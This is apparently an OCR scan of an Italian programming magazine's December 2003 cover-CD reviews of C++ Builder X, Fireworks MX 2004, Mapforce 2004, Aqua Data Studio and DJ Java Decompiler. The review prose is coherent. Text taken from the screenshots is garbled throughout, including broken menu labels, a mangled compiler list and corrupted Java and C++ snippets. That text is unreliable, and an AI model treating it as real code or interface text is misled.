Dopo anni in cui il C++ era stato un po' 
trascurato da Borland, in favore di 
linguaggi come Java e C#, ecco finalmente 
un ambiente di sviluppo nuovo di zecca 
per il principe dei linguaggi professionali. 
Lo scopo del C++ Builder X è di abbraccia- 
re tutto lo sviluppo, e non solo quello teso 
alla realizzazione delle interfacce utente. 
L'IDE porta con se le migliori caratteristi- 
che dei suoi "cugini" nati per il mondo Java 
e .NET: la possibilità di scegliere fra più 
compilatori, l'organizzazione dei file di 
progetto in documenti XML facilmente 
manutenibili, la compatibilità con altri tool 
Borland come Teamstudio, Caliber e 



ammmwnmmìm 








m»!"-* 


'.™ "—,—!■—-—. — 




5=1: 








; -==—•■— 


: 






». [S5 Ihu' 









Fig. 1: Al primo avvio, una pagina di 
benvenuto ci introduce al nuovo ambiente. 

Togheter. L'intero IDE di C++ Builder X è 
distribuito come applicativo Java, potremo 
dunque avviare la medesima interfaccia su 
più piattaforme, ivi comprese Linux e 
Solaris. 

LA SCELTA 

DEL COMPILATORE 

La possibilità di cambiare il compilatore 



Registered build tools; 








Name 


Toolset Cateaorv 


D.escription 


a „... | 


BCC32 


Jiifisìvs Win32 CompilerTooIs Compier 


Borland C++ Cornpiler 




ILINK32 


Borland Win32 CompilerTooIs Linker 


3orland Linker 


1 ^'" 1 


FJRCC32 


CompilerTooIs Resource cornpiler 


Borland Resource Cam... 


Renrove | 


FLiti 


CompilerTooIs Li brarlan 


Borland TLib 


| | 


ImpLiD 


BorlandWln32 CompilerTooIs 


Libra ri a n 


Borland ImpLIO 






GNU C++ Cornpiler 


GNU C++ CompilerTooIs 


Cornpiler 


GNU C++ Coiìipiler.bas... 


GNU C++ Linker 


GNU C++ CompilerTooIs 


Linker 


GNU C++ Linker 


GNU archive tool 


GNU C++ CompilerTooIs 


Librari a n 


GNU archive tool 


MlnGWGIMU C++ Cornpiler 


Mlnimalist GNU For Windows Cornpiler 


GNU C++ Cornpiler for ... 


GNU C++ Linker 


Mlnimalist GNU ForWIndows Linker 


GNU C++ Linker 


Dlltool (Import nps; 


fìirijn-isiisl GNU For Windows Librarlan 


Dlltool 


Dlltool (.deffiles) 


Minimalist GNU For Windows 


Linker 


Cenerate .defilé 


GNU archive tool (MlnGW) 


Minimalist GNU For Windows 


Librarlan 


GNU archive tool (MlnGW) 


GNU Windows Resource Co... 


Minimalist GNU ForWindows 
BorlandWin32 CompilerTooIs 


"si-5'.itte cornpiler 


GNUWindowsResourc... 


Preprocess 


Deployment 


CPP32Preprocess 










[ OK ] Canee 


|| Help | 











Fig. 2: Da questa interfaccia è possibile aggiungere nuovi 
compilatori e tool di sviluppo alla lista. 



mantenendo invariata l'interfaccia di svi- 
luppo è un beneficio da non sottovalutare. 
Chi sviluppa in C++ avrà notato che non si 
può affermare che 
esista un compilato- 
re "in assoluto" 
migliore degli altri. 
Tipicamente ognu- 
no ha delle doti che 
possono farlo prefe- 
rire ad altri. Già nel 
pacchetto presenta- 
to sul CD, oltre al 
compilatore ufficiale 
Borland, è presente 



C++ di Sun per Solaris e i 
compilatori Intel C++ 7.1, 
sia per Linux che per 
Windows. E' anche pos- 
sibile collegare compila- 
tori che non sono in que- 
sta lista, in modo che 
ognuno può utilizzare 
quello che preferisce. 
Ad esempio, per ammis- 
sione stessa della 
Borland, il suo compila- 
tore, pure essendo molto 
veloce a tempo di compi- 
lazione, non è "un fulmi- 
ne di guerra" a run time... insomma la 
libertà è totale, sta a noi sfruttarla con sag- 
gezza. 



e e, e - ' 
[e ► - te ■ 



l'eccellente GNU 
C++ Cornpiler, sia 
per Windows che per 
Linux. Ma sono sup- 
portati anche il 
Visual C++ Cornpiler 
di Microsoft, il Forte 



a 

S ■ i i- 



( int auge, citai * a.ngv[ ] ) 



md C++Builder 



- , , 2504 stoppsd :"- : bre; 
. | 



\B V (_STL: :ba;ic_strlng<char, _STL::c 
|ST| (Int) arge = 1 (0x00000001) 



srsejoir.i ■■ . ■■■..■(. ?; -.-.- ; :r.,;,-, ■■. 



'.«Jko 



Fig. 3: Il debug consente una dettagliata analisi dello stato 
dell 'applicazione. 



* 12/Dicembre 2003 



http://www.ioprogrammo.it 



Applicazioni Cross-Platform 



SOFTWARE SUL CD 



uni muovo 

PROGETTO 

Giusto per avere una prima impressione, 
proviamo a scegliere la voce New dal menu 
File. Una finestra di dialogo con numerose 
opzioni ci darà la possibilità di scegliere il 
tipo di progetto da creare: applicazioni 
GUI, console, librerie e quant'altro. Fatto 
questo, un wizard ci guiderà alla costruzio- 
ne di una infrastruttura di base che ren- 
derà più semplice il completamento del 
nostro progetto. Il tutorial mostra i tre passi 
necessari a creare un progetto di applica- 
zione GUI. 

DEBUGGER 

Il debugger è particolarmente curato in 
questa edizione: ricchissimo è il ventaglio 
di possibilità che 
offre. In figura ve- 
diamo una screen- 
shot di un'applica- 
zione in esecuzione 
in modalità debug. 
Avendo introdotto 
un breakpoint (la 
freccetta blu che 
notate alla sinistra 
del codice) possia- 
mo ispezionare 
completamente lo 
stato dell'applica- 
zione e del sistema, 
grazie anche alla 
evidenziazione dei 
thread e delle zone 
di memoria impe- 



gnate nell'attimo in cui abbiamo interrot- 
to l'esecuzione. Diciamo pure che la foto- 
grafia dell'istante è dettagliatissima e 
garantisce tutte le informazioni di cui uno 
sviluppatore può aver bisogno, sia nell'ot- 
tica di migliorare le prestazioni che in 
quella di scovare i bug presenti. 

INSTALLAZIONE 

Prima di effettuare l'installazione, è neces- 
sario registrarsi al sito ufficiale Borland, 
all'indirizzo www.borland.com/products/ 
downloadsldownload_cbuilderx.html# e 
lasciare i propri dati. Vi verrà inviata una 
mail al vostro indirizzo contenente un alle- 
gato che fungerà da chiave di attivazione. 
Al termine della procedura, sarete invitati a 
scaricare il pacchetto di installazione... 
cosa che potrete evitare, in quanto già pre- 




-..■■■■ 



n|¥|<?| a|»i|e| 



. È»™ 
B E<°° 



■ * |ff UH ] 






sente nel CD allegato alla rivista. C++ 
Builder può essere installato su numerose 
piattaforme anche se quelle supportate uf- 
ficialmente sono Windows 2000, Windows 
XP, RedHat Linux Enterprise Workstation 
2.1 e Solaris 8. Una volta scompattato il file 
.zip, dobbiamo innanzitutto accertarci di 
avere lo spazio sufficiente alla completa 
installazione: circa 500 MB. Per le installa- 
zioni su Windows, bisogna fare attenzione 
ad avere i privilegi di amministratori: in 
caso contrario, l'installazione partirà ma 
senza andare a buon fine. Detto questo, 
siamo pronti a partire con un doppio clic 
su install.exe presente nella sottodirectory 
Windows. La procedura di installazione 
prevede l'accettazione di una licenza e 
quindi la scelta fra l'installazione full ed 
una personalizzata, in cui è possibile spe- 
cificare se installare o meno tool addizio- 
nali ed il compilatore GNU C++. Curiosa- 
mente, fra i pacchetti che verranno instal- 
lati, si annovera anche un Java Runtime Al 
primo avvio dell'applicazione vi verrà 
richiesta una chiave di attivazione: sarà 
sufficiente salvare, in una qualsiasi direc- 
tory, l'allegato della mail ricevuta in prece- 
denza dalla Borland ed indicare a C++ 
Builder X la posizione in cui abbiamo sal- 
vato il file. 



Fig. 4: L'integrazione con l'ambiente Together consente di avere 
diagrammi UML sempre aggiornati rispetto al processo di sviluppo. 



i 



C++ Builder X 
Personal 

Produttore: Borland 
Sul web: www.borland.it 
Prezzo: Gratuito 
Software su CD: 
cbx 1 persona I wi ndows 



La prima applicazione GUI 




<-,.„.„.,, 




DC^DC 



Iir^j 



QDal menu File, scegliamo New, 
quindi indichiamo New GUI 
Application. Nel wizard che si apre 
indichiamo percorso e nome del nostro 
progetto. Un clic su Next. 



HLa successiva finestra di dialogo 
consente di scegliere la piattaforma 
su cui andremo ad utilizzare il progetto 
ed il relativo toolset da utilizzare per la 
compilazione. Ancora un clic su Next. 




H L'ultimo passo consiste 
nell'indicare quali file includere 
nel progetto, qualora fossero già state 
scritte delle parti dell'applicazione. Con 
Finish, partirà la creazione del progetto. 



http://www.ioprogrammo.it 



Dicembre 2003/13 ► 



SOFTWARE SUL CD T 



Authoring Web 



Macromedia Fireworks 

MX 




ii 



Il segreto del successo di Fireworks è dovuto ad una scelta 
vincente operata dalla Macromedia: creare uno strumento 
specializzato per il web che non sia un semplice accessorio 
di Dreamweaver. 



Fin dalle prime versioni, tutti gli sforzi 
della casa produttrice sono stati orien- 
tati alla creazione di strumenti efficaci, 
pensati appositamente per venire incontro 
a determinate esigenze. L'utente-tipo del 
programma, è qualcuno intenzionato a 
creare un tipo di grafica che sia non solo 
gradevole o funzionale, ma soprattutto ot- 
timizzata per internet. Da sempre Fire- 
works risponde con un solo prodotto a tre 
esigenze distinte: la grafica bitmap, la gra- 
fica vettoriale e la creazione di pagine web 
dotate di interattività. Come avremo modo 
di vedere nel corso di questo articolo, con 
la release MX 2004 tutti e tre questi settori 
sono stati potenziati e arricchiti di nuovi 
strumenti. A questo proposito possiamo 
dire che la "specializzazione" del prodotto 
è solo uno dei due fattori all'origine del 
suo successo; l'altro è senza dubbio la 
ricerca della massima produttività attra- 
verso la più ampia facilità di utilizzo. Con 



Fireworks si può creare della buona grafi- 
ca, ma lo si può fare in modo rapido, attra- 
verso strumenti intuitivi che sono in grado 
di accontentare sia il professionista che l'u- 
tente inesperto. Cominciamo subito a dare 
uno sguardo alla nuova interfaccia di 
Fireworks MX 2004. Lanciato il program- 
ma, notiamo una caratteristica comune a 
tutti i programmi Macromedia di nuova 
generazione: la start page. 

PER INIZIARE... 
LA START-PAGE 

La start page è stata pensata per ottimizza- 
re i tempi, in quanto offre all'utente la pos- 
sibilità di accedere ai file utilizzati di recen- 
te, oppure a varie risorse online, messe a 
disposizione sul sito della Macromedia. 
Per disabilitare la finestra in questione, ba- 
sta selezionare la casella in basso a destra, 
contraddistinta dalla scritta "Don't show 



SBi ot* ^ti Sii 




Select 
(T * 



Bitmap 

□ P 
\ • 



/ 6, 
a a 



Web 



_£alats_ 



^Originai | EPreview LL]2-Up ffl4-Up | 



ioProQwntno 




D^SxS 




rtiacrùrnedisr 



FIREWORKSMX 



2004 



Fig. 1: La nuova barra presenta un riepilogo di tutti i documenti aperti dall'utente, 
consentendo di passare da un documento all'altro con estrema facilità. 



again". Anche se l'aspetto generale resta 
comunque fedele alle innovazioni intro- 
dotte con la versione precedente, ad un 
primo sguardo risultano subito evidenti 
alcune novità: una di queste è la barra che 
indica quali sono i documenti aperti e che, 
attraverso le etichette in alto, fornisce un 
metodo molto pratico per gestire più do- 
cumenti contemporaneamente - soprat- 
tutto durante la crostruzione di progetti 
web oriented. Nel pannello Properties no- 
tiamo alcune importanti migliorìe. Infatti, 
è stata aggiunta la possibilità di avere una 
pop-up preview per i riempimenti e i con- 
torni, in modo da poter vedere, prima di 
applicarli, che aspetto avranno. La voce Fili 
category introduce una nuova raccolta di 
contorni basati anche su linee tratteggiate: 
una volta scelto il colore e le dimensioni, ci 
appare una finestra a comparsa con la rap- 
presentazione visiva del contorno che 
applicheremo. Inoltre, con il nuovo pul- 
sante Fit Canvas è possibile adattare l'inte- 
ro documento ad uno specifico oggetto. 
Sempre dal pannello Properties, è possibile 
applicare nuovi effetti di antialiasing al 
testo. Nella versione MX di Fireworks, 
quando si attivava il menu Anti-aliasing 
level erano disponibili solo quattro possi- 
bili opzioni di regolazione. Con la nuova 
release sono state aggiunte due voci: Sy- 
stem Ariti- Alias e Custom Ariti- Alias. In par- 
ticolare, Custom Anti-Alias attiva un ulte- 
riore pannello di controllo, attraverso il 
quale è possibile scegliere il colore del testo 
in relazione alle caratteristiche cromatiche 
del layout. 

GRAFICA 
VETTORIALE 

Dopo aver dato uno sguardo all'aspetto 
dell'interfaccia, passiamo ad analizzare i 



► 14/Dicembre 2003 



http://www.ioprogrammo.it 



Authoring Web ■ T SOFTWARE SUL CD 



nuovi strumenti per la grafica vettoriale, 
che probabilmente costituiscono l'ag- 
giunta più rilevante a Fireworks MX 2004. 
La barra degli strumenti, solo in apparen- 
za simile a quella della versione prece- 
dente, nasconde una grossa novità. Sono 
state inserite numerose nuove forme nel- 
l'elenco presente nel pannello degli stru- 



Vector 



m 



e, 



D Rectangle tool (U) 
O Ellipse tool (U) 
O Polygon tool (U) 



c[> Arrow 

C\ Beveled Rectangle 

tf] Charmfer Rectangle 

"T_ Connector Line 

@ Doughnut 

P L-Shape 

Q Rounded Rectangle 
O Smart Polygon 
• Éf) Spirai 
^■Star 



Edge: 
Texture: 



Fig. 2: Un particolare dei menu di Fireworks. 
In evidenza la creazione di grafici a torta. 



menti (alcune di esse risulteranno fami- 
liari a chi utilizza applicativi come 
Freehand o CorelDraw), e ne segnaliamo 
alcune che, senza l'aiuto dei meccanismi 
di preimpostazione, potrebbero risultare 
più impegnative da realizzare: le spirali, i 
poligoni sezionati e i grafici a torta. Tali 
forme sono dotate di Shape handles (pic- 
cole maniglie gialle che trascinano una 
sorta di nodi predefiniti) : trascinandole 
riusciamo a modificare e ridisegnare l'e- 
lemento vettoriale. Questi strumenti 
innalzano notevolmente il livello qualita- 
tivo della grafica vettoriale prodotta con 
Fireworks, fornendo agli sviluppatori 
solide basi di partenza per creare oggetti 
complessi. Nell'ambito delle tecniche di 
disegno, adesso è possibile ridimensio- 
nare una figura rispetto al centro. Per 
ottenere questo risultato basta tenere 
premuto il tasto Alt, per Windows, o il 
tasto Option, per Macintosh, mentre si 
usa lo strumento Scale. Sullo stesso prin- 
cipio sono basate le forme vettoriali pre- 
senti nel pannello Shapes (Windou»Auto 
Shapes), che contiene un piccolo archivio 
di immagini vettoriali dotate di riempi- 
mento. Anche in questo caso svolgono 
una funzione determinante le Shape 
handles che, al passaggio del mouse, 
mostrano dei tooltip contententi le indi- 
cazioni sull'uso delle preimpostazioni. 
Con un approccio completamente inte- 



rattivo, si può cambiare la forma, il tipo di 
texture ed il colore, senza dover necessa- 
riamante utilizzare il pannello Properties. 

GRAFICA BITMAP 

Nuove funzioni sono state aggiunte per 
quanto concerne il fotoritocco. Dopo 
aver selezionato Rubber Stamp, nel pan- 
nello Tools si attiva un sottomenu che 
contiene altri due strumenti: Replace 
Color e Red Eye Removal. Il primo è la 
risposta ad una richiesta che da tempo gli 
sviluppatori avevano fatto alla 
Macromedia e introduce una funziona- 
lità che non poteva certo mancare tra le 
risorse di Fireworks. Con Replace Color, 
infatti, è possibile selezionare un colore 
all'interno di una foto e sostituirlo con 
uno di proprio gradimento: per scegliere 
il colore da sostituire, basta attivare il 
contagocce del menu Change nel pannel- 
lo Property Inspector e cliccare sulla foto; 
per scegliere invece il colore sostitutivo, è 
sufficiente attivare il menu To e scegliere 
uno dei colori presenti. 
Lo strumento è costutuito da un sempli- 
ce pennello e produce come effetto la 
sostituzione del colore prescelto nelle 
zone pennellate. Red Eye Removal, è un 
altro classico strumento di fotoritocco. 
Come molti sanno, quando si scattano 
fotografìe è ricorrente il cosiddetto effet- 



Allegare un'immagine ad una e-mail 



:W 


: 






Sort: 


LI? 


t Assets 


||L 




Clock 


»« 


Q> 




Qptlons C 




Atftist Color ► 
?;-.-:;; .Line! Émboss ► 
Blur ► 

Other ► 


— 


M l> CI 


i 





Effects: 


Eye Candy 4000 LE ► 
Alien Skin Splat LE ► 


StowA 
Irai e r Glow 
Irai e r 5h-adow 






1 




1 





Q Importiamo una foto con il 
comando File>lmport. Non appena 
il cursore assume la forma di una 
squadra, clicchiamo in un punto del 
foglio di lavoro e trasciniamo, in modo 
da definire la grandezza della foto. 
Mantenendo selezionata la foto, dal 
Property Inspector clicchiamo su Effects, 
scegliamo Shadow and Glow e poi Drop 
Shadow, per aggiungere un'ombra 
discendente alla foto. 



DSL 


§ B • i *sB 


SS SS 9 *3 % % 4 % P Jl 




J Originai EPreview LTJ2-Up ffi^-L 


p 1 


Bitmap 

Q P 

\ / 


"7 

5hape= 


M#^ 


CI.,, 


C03 


», y 


t 


□ 




Veci or 

/ 4. 
□ A 
ti --' 


— 





f\ 





HDal pannello Auto Shapes (Win- 
dow>Autoshapes), selezioniamo la 
forma "Talking". Trasciniamola sull'area 
di lavoro e ridimensioniamola. Attraver- 
so le maniglie interattive direzioniamo 
la freccia del balloon in modo da adat- 
tarne l'inclinazione e, con lo strumento 
Text, scriviamo "ciao" nel balloon. Un 
clic su Fit Canvas nel Property Inspector, 
e avremo adattato l'immagine alle 
dimensioni del documento. 



Import... 
Export... 
Export Preview... 


Ctrl+R 

Ctrl+Shift+R 

CtrH-Shift+X 






^B 


Fireworks PNG... 


Update HTML,.. 




JPEG Compressed... 


hi 


Export Wizard.. 
Batch Process... 
Preview in Browser 


► 


Ust f/i ■::■(: : eLc ng? . . 




Page Setup... 
Print... 
HTML Setup... 


Ctrl+P 




Exit 


Ctrl+Q 











H Attiviamo la voce Send to E-mail 
(File>Send to E-mail). Ci apparirà 
un menu contestuale con tre opzioni: 
Firewoks PNG, JPG Compressed, Use 
Export Settings. Scegliamo JPG 
Compressed: automaticamete la nostra 
immagine verrà allegata al programma 
di posta predefinito. Su Macintosh 
alcuni browser potrebbero non 
supportare questa funzione 
estremamente comoda. 



http://www.ioprogrammo.it 



Dicembre 2003/15 ► 



SOFTWARE SUL CD T I Authoring Web 



SALVARE CONTENUTI IN PHP 



' i. 

D A 


■ 


OR 














l*EI 
10» 




Si 




■ 


* 


^H 


©e 




a 

- 


O q. 










!! » Properties 


R 






Rectangle (£> 


| . | Linear 


- 


ftZ 


l-l 

Ed,,: P| 

IliJ ■ 

—al 


dge-|Anl:i-Alia S -[ ì 


- 


„,„„ 


Tran.pa.ent 

















QCon lo strumento Rectangle, 
creiamo un rettangolo di 500 
x 22 pixel. 

Nel Property Inspector, un clic su 
Fili Options, presente nel menu Fili 
Category, e selezioniamo Gradient 
e Linear. Premiamo il tasto Edit e 
scegliamo un colore di partenza 
più scuro ed un colore finale più 
chiaro. Utilizzando le maniglie 
interattive, facciamo in modo che 
il colore più chiaro sia rivolto 
verso l'alto. 



□ p 

^ a 
è. ® 
? 4. 
















— ~ ' " 




E ■ 






* 




£ 


| 










' 4, 
□ A 












3 


* 


=i 


B be„a | 








— t« In 


f. s ™i -ij □ a 


n, ,-. F-,,"V", ,B a ffl 












alt 

t3|0 




| |prmacacina| jsecinca capir r. tefe(g . ÌOPrOflramillO 




□ *, Typ, Ira e ■■ -„.-., 


B0B= 




tónapiSB |-| Alt: .aiatapa 


n 33 






a 


h: 1 ,: 




Me« 







HSu ogni scritta, utilizziamo lo 
strumento Slice per creare una 
porzione. Clicchiamo sulla porzione 
relativa alla prima scritta e, dal menu 
contestuale che appare, selezioniamo 
Add Swap Image Behavior, per attiva- 
re la finestra Swap Image: selezionia- 
mo la voce Fratrie 2. Nel pannello Fra- 
ine, clicchiamo su Frame 2 e inse- 
riamo lo stesso rettangolo e la prima 
scritta, ma modificandone i colori, 
per evidenziare il rollover. Ripetiamo 
lo stesso procedimento per le altre 
due scritte, nei Frame 3 e 4. 



to "occhi rossi", che colora di rosso le pu- 
pille dei soggetti ritratti. Red Eye Remoual 
è un pennello studiato appositamente 
per individuare ed eliminare questo effet- 
to indesiderato. Da segnalare anche, tra i 
Live Effects, alcuni nuovi interessanti 
effetti preimpostati, tra cui citiamo: 
Motion Blur e Zoom Blur, entrambi pre- 
senti nel gruppo Blur. 







3 


' 'J"^"""" , " t °'' r 








p-irnifagira seconda pacma te-zi pagna i P rOfl Tafll HI 


_ ,„. 


>t 


_; 


..-Lo,™ iF. 


3 100 - Morra 


B MSI» taira |»M 


Fornai £j Q -J 





QUn clic su Fit Canvas nel Property 
Inspector, in modo da adattare le 
dimensioni del documento al rettango- 
lo appena creato. Cliccando il pulsante 
New I Duplicate Layer nel pannello La- 
vere, creiamo un nuovo livello e rinomi- 
niamolo barra. Con lo strumento Text, 
selezioniamo l'opzione No Anti-Alias e 
scriviamo "paginaì", "pagina!" e "pa- 
gina3", allineandole sul rettangolo. Nel 
pannello Frames and History, premiamo 
4 volte il tasto New I Duplicate Frame, 
in modo da creare quattro fotogrammi. 




□ Selezioniamo le varie 
porzioni e, dal Property 
Inspector, attribuiamo ad ognuna 
un uri, scrivendolo nella casella 
Link. Salviamo come barra.png ed 
esportiamo con File>Export. 
Nella finestra di dialogo Export, 
scegliamo "HTML and Images". 
Clicchiamo sul checkbox Put 
images in subfolder e poi su 
Options. 

Dalla scheda General, scegliamo 
"Generic HTML" e come estensione 
.php. 

CONTENUTI 
PER IL WEB 

Anche sul versante della creazione di con- 
tenuti per il web non mancano le novità. Il 
tasto File Management, attraverso le fun- 
zioni put e get, consente di impiegare le 
funzioni di Ftp incorporate in Dremawea- 
ver MX 2004, per prelevare file dal server, 
modificarli e ricaricarli sul server. Per 



quanto riguarda i contenuti per il web, con 
Fireworks MX 2004 è stata introdotta la 
possibilità di salvare in formati server side, 
che in passato non erano previsti dalle fun- 
zioni di esportazione. Una nuova opportu- 
nità, valida sia per il dialogo con Dream- 
weaver sia per l'interazione con codice 
scritto manualmente. 

PER CONCLUDERE 

L'unico piccolo appunto da fare riguarda la 
parte bitmap del programma. Pur avendo 
strumenti di esportazione rapidi ed effica- 
ci, la componente legata al fotoritocco 
sembra essere rimasta un po' indietro, 
rispetto alle tante novità che spiccano in 
ambito vettoriale. Lo strumento per ri- 
muovere gli occhi rossi e qualche altro ef- 
fetto aggiunto non rendono giustizia alle 
vere potenzialità del software. Volendo 
analizzare la questione in un' ottica di poli- 
tica aziendale, è evidente che, se da un lato 
Freehand assicura un valido strumento in 
grado di competere alla pari con qualsiasi 
tool vettoriale, nel fotoritocco la Macro- 
media non ha ancora nessun prodotto ca- 
pace di contrastare realmente Photoshop. 
D'altro canto, Fireworks è l'unico ad avere 
una solida base di partenza su cui costrui- 
re una proposta credibile in ambito bit- 
map. Non è da escludere, quindi, che in 
futuro possano verificarsi grosse sorprese 
proprio in quel gruppo di funzionalità. Nel 
CD allegato alla rivista, oltre alla versione 
trial di Fireworks MX 2004, trovate anche 
gli esempi descritti nei due tutorial: \soft\ 
codice\FW_esempi.zip. 



fc 



Fireworks MX 2004 

Produttore: Macromedia 
Sul web: www.macromedia.it 
Prezzo: full version € 359 

Upgrade€ 179 
Software su CD: fwmx_2004_en.exe 



I 



REQUISITI 

Per Windows 

600 MHz Intel Pentium MI o equivalenti 

Windows 98 SE, Windows 2000, o 

Windows XP 

128 MB RAM (256 MB raccomanadati) 

150 MB di memoria libera sull'hard disk 

Per Macintosh 

500 MHz PowerPC G3 processor 

Mac OS X 10.2.6 

128 MB RAM (256 MB raccomanadati) 

100 MB di memoria libera sull'hard disk 



► 16/Dicembre 2003 



http://www.ioprogrammo.it 



Interazione fra ambienti di sviluppo 



T SOFTWARE SUL CD 



Mapforce 




ii 



Un potente tool per l'integrazione di dati che consente 

di semplificare l'interazione fra piattaforme diverse. Utilissimo 

anche nel processo di aggiornamento di applicazioni legacy. 



Con questo innovativo tool visuale 
potremo facilmente integrare fonti 
di dati differenti e presentarle all'interno 
dei nostri progetti. Una volta "disegnato" 
lo schema di trasformazione che voglia- 
mo realizzare Mapforce si fa carico di 
generare il codice (Java, C++, C# o XSLT) 
necessario a completare l'opera. 
Le trasformazioni supportate sono XML- 
to-XML e Database-to-XML: risparmio 
di tempo e garanzia dei risultati sono i 
principali vantaggi di una soluzione di 
questo tipo. 

MAPPATURA 
DATABASE-TO-XML 

Attraverso Mapforce 2004 è possibile 
caricare direttamente le tabelle del data- 
base e gli schemi XML, per poi disegnare 
visualmente la mappa che trasforma le 
tabelle in un qualsiasi modello di dati 
espresso nell'XML Schema. Fatto questo, 
Mapforce 2004 genera automaticamente 
il codice applicativo necessario ad effet- 
tuare la conversione dal database indi- 
cato verso l'XML. Il codice così ottenuto 
è completamente customizzabile e sup- 
porta tutti i più diffusi database: SQL 
Server, Oracle9i e qualsiasi database per 
cui sia disponibile un driver ODBC. 

MAPPATURA 
XML-TO-XML 

Grande è il vantaggio che si ricava dall'u- 
tilizzare Mapforce 2004, anche nel 
momento in cui abbiamo necessità di 
rimappare documenti XML in altri docu- 
menti XML: è sufficiente caricare un 
qualsiasi numero di XML Schema e trac- 
ciare, per via visuale, la mappa che uni- 
sce documento di partenza e documen- 
to di arrivo. Particolarmente efficace 
risulta l'interfaccia che, durante tutta 
l'operazione di mappatura, consente di 
tenere sotto controllo sia l'XSLT che un 
esempio dell'output di quanto andiamo 
a realizzare. Anche in questo caso è pre- 



vista la possibilità di produrre codice 
Java, C++ o C# che si occupi di effettuare 
la medesima conversione che abbiamo 
impostato per via visuale. 




Fig. 1: Ecco come /riappare un database 
relazionale in un documento XML 



SVILUPPO 
PIÙ VELOCE 

I progetti che prevedono l'integrazione 
fra fonti e piattaforme diverse si risolvo- 
no spesso in un noioso e ripetitivo lavo- 
ro che prevede la scrittura di molte linee 
di codice per il caricamento, la persi- 
stenza, la validazione, e tutta la schiera 
di operazioni necessarie per il tratta- 
mento dei dati. 

Mapforce 2004 consente di ridurre dra- 
sticamente questo sforzo, garantendo, al 
contempo, un risultato a prova di errore: 
gli sviluppatori sono sollevati dal dover 
lavorare con codice di basso livello e 
possono dunque concentrarsi sugli 
aspetti più strettamente legati al focus 
della loro applicazione. 

EVOLUZIONE 
DI UNO SCHEMA 

I modelli di dati non sono statici ma si 
evolvono nel tempo per seguire i cam- 
biamenti delle funzionalità e dei requisi- 
ti di un'applicazione. Immaginiamo che 
venga modificato un modello di dati 
XML per un'applicazione già distribuita: 
anche l'applicazione XML esistente 



dovrà essere aggiornata per tener conto 
delle novità. Questi scenari di migrazio- 
ne sono gestiti in modo molto semplice 
da Mapforce grazie alla possibilità di 
caricare più modelli XML in cascata, in 
maniera da realizzare una sorta di cate- 
na di trasformazione che assicura l'evo- 
luzione del modello. Questo approccio 
consente alle nostre applicazioni di 
restare sincronizzate al modello di dati, 
anche nei casi in cui questo venga spes- 
so cambiato. 

MANIPOLAZIONE 
DEI DATI 

Nelle comuni esperienze di integrazio- 
ne, è ben difficile trovarsi in casi in cui la 
mappatura di un database o di un 
modello XML verso un documento XML 
si risolva in un link 1-a-l. Più tipicamen- 
te sarà necessario applicare delle regole 
che in qualche modo manipolino i dati 
di partenza al fine di rientrare nello 
schema di arrivo. Mapforce mette a 
disposizione dello sviluppatore un ricco 
set di funzioni che consentono l'intro- 
duzione di regole matematiche, opera- 
zioni sulle stringhe, operazioni condi- 
zionali, logica booleana, fino ad arrivare 
alla costruzione di regole personalizzate 
dall'utente. 

INTEGRARE BASI 
DI DATI 

L'integrazione di dati può presentarsi 
utile in diversi scenari: il caso più tipico 
è quello di una transazione business-to- 
business che permette il dialogo fra due 
o più aziende i cui modelli di dati e back 
end, sono in genere assolutamente 
eterogenei. 



Mapforce 2004 

Produttore: Altova 

Sul web: www.altova.it 

Prezzo: € 436 

Nel CD: MAPFORCEComplete2004.exe 



http://www.ioprogrammo.it 



Dicembre 2003/17 ► 



SOFTWARE SUL CD T I Videogiochi e multimedia 



Aqua Data Studio 3.5 

Un potente IDE per creare ed eseguire script SQL 



Un tool per amministratori di 
database che consente di editare 
ed eseguire script SQL, oltre che con- 




Fig. 1: L'interfaccia principale dell 'IDE 



sentire una agevole navigazione nelle 
strutture dei più complessi database. 
Aqua Data Studio mette a di- 
sposizione degli utenti 
un potente ambiente di 
sviluppo integrato che 
può fare da interfaccia a 
tutti i principali databa- 
se presenti sul mercato, 
consentendo l'esecu- 
zione di più operazioni 
simultaneamente su 
più database, attraverso 
un ambiente coerente e 
ben strutturato. Degno 
di menzione risulta il 
Query Analyzer che 
mette a disposizione un 
editor con un syntax 
highlighting studiato 



specificamente per gli RDBMS e con 
avanzate funzioni di auto-completa- 
mento che velocizzano notevolmente 
il lavoro degli sviluppatori. La possi- 
bilità di analizzare per via grafica la 
struttura dei Database consente una 
più semplice interpretazione dei dati 
e delle correlazioni. Aqua Data Studio 
può salvare i risultati delle query in 
numerosi formati, compresi HTML e 
XML. 

Versione di valutazione valida novan- 
ta giorni. 



Aqua Data Studio 3.5 

Produttore: AquaFold, Ine 
Sul Web: www.aquafold.com 
Prezzo: $ 69 
Nel CD: adstudio.exe 



DJ Java 
Decompiler 3.5.5.77 

Ricostruiamo il codice sorgente dei file compilati 



Un decompilatore e disassemblato- 
re grafico che gira su piattaforma 
Windows e che permette, con estrema 




2 48 25 

iieciìy.coin'neskkov/'d! firmi - Check otien fofnewvsrsicn. 



java, avvi Toolkit: 
java.lo.PrlntStrsarn; 



public class GetScreenSIze 



GetScreenSizeQ 

{ 
} 

public staile veld mainjString argsOJ 

( 

oolkit toolkit - i oolkit getDefaultToolkitO; 
java.swtDimension dimension — toolkit getScreenSizeQ: 
System out.printlnr ^ " + dimensioni 

System. exit(O), 

) 



Fig. 1: Il DJ Java Decompiler al lavoro 



facilità, di ricostruire il codice sorgente 
originale a partire da file binari CLASS. 
Una volta ottenuto il sorgente, è possi- 
bile modificarlo diretta- 
mente all'interno di DJ 
Java Decompiler, grazie 
all'editor integrato. Essen- 
do un'applicazione Win- 
dows, non è necessario 
che sia installata una mac- 
china Java: l'unica cosa da 
fare è indicare il file .class 
e istantaneamente potre- 
mo vedere, ed eventual- 
mente modificare, il sor- 
gente. Complessivamente, 
l'interfaccia può apparire 
decisamente spartana. A 
dispetto di ciò, c'è da dire 
che l'applicazione funzio- 



na a meraviglia e questo suo essere 
spartano si rivela un grande pregio nel 
momento in cui ci accorgiamo che 
basta un singolo clic per risalri al codi- 
ce sorgente di qualsiasi file .class com- 
pilato. Quest'ultima release ha subito 
un significativo miglioramento delle 
prestazioni. DJ Java Decompiler non è 
dunque un semplice decompilatore 
ma può essere utilizzato come un vero 
e proprio editor grafico, con tanto di 
syntax-highligthing. Gratuito. 



DJ Java 
Decompiler 3.5.5.77 

Produttore: Atanas Neshkov 
Sul Web: members.fortunecitv.com/ 

neshkov/dj.html 
Prezzo: Gratuito 
Nel CD: djdec322.zip 



è 



► 18/Dicembre 2003 



http://www.ioprogrammo.it 



